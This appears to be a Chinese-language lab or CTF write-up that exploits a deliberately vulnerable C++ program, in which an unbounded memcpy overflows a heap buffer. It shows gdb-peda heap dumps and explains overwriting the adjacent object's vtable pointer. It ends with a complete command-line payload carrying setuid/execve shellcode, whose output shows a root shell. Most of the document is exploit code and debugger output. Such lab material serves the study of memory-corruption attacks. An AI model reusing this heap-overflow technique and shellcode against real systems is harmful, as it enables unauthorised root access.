2020 Spring vtable

```
// g++ -z execstack -o vtable vtable.cpp
#include <iostream>
#include <cstring>
#include <unistd.h>

class Number
{
        public:
                Number(int x) : number(x) {
                }
                void setAnnotation(char *a) {
                        memcpy(annotation, a, strlen(a));
                }

                virtual int operator+(Number &r){
                        return number + r.number;
                }
        private:
                char annotation[100];
                int number;
};


int main(int argc, char **argv)
{
        if(argc < 2) _exit(1);

        Number *x = new Number(5);
        Number *y = new Number(6);
        Number &five = *x, &six = *y;

        five.setAnnotation(argv[1]);

        return six + five;
}
```

memcpy函数引起的缓冲区溢出。下断电调试。

```
0xb7111000 0xb8000000 rwxp       /lib/i386-linux-gnu/ld-2.15.so
0xbffdf000 0xc0000000 rwxp       [stack]
gdb-peda$ x/100xw 0x0804b000
0x804b000:      0x00000000      0x00000071      0x08048848      0x00000000
0x804b010:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b020:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b030:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b040:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b050:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b070:      0x00000005      0x00000071      0x08048848      0x00000000
0x804b080:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b090:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0a0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0b0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0c0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0d0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0e0:      0x00000006      0x00020f21      0x00000000      0x00000000
0x804b0f0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b100:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b110:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b120:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b130:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b140:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b150:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b160:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b170:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b180:      0x00000000      0x00000000      0x00000000      0x00000000
```

查看到堆中的内存分布。

```
0x08048758 in Number::setAnnotation(char*) ()
gdb-peda$ x/100xw 0x0804b000
0x804b000:      0x00000000      0x00000071      0x08048848      0x31313131
0x804b010:      0x31313131      0x31313131      0x31313131      0x31313131
0x804b020:      0x31313131      0x31313131      0x31313131      0x31313131
0x804b030:      0x31313131      0x31313131      0x31313131      0x31313131
0x804b040:      0x31313131      0x31313131      0x31313131      0x31313131
0x804b050:      0x31313131      0x31313131      0x31313131      0x31313131
0x804b060:      0x31313131      0x31313131      0x31313131      0x31313131
0x804b070:      0x31313131      0x0804b07c      0x0804b074      0x3158176a
0x804b080:      0x6a80cddb      0x5299580b      0x732f2f68      0x622f6868
0x804b090:      0xe3896e69      0xe1895352      0x000080cd      0x00000000
0x804b0a0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0b0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0c0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0d0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0e0:      0x00000006      0x00020f21      0x00000000      0x00000000
```

用缓冲区溢出，覆盖掉如上图所示的虚函数的地址，等到调用时，就用调用其后面的shelloce

```
[06/24/2020 01:00] seed@ubuntu:~/Desktop/uaf$ ./vtable  `python -c "print '1'*104 + '\x7c\xb0\x04\x08' + '\x74\xb0\x04\x08' + '\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80' "`
# id
uid=0(root) gid=1000(seed) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),130(wireshark),1000(seed)
#
```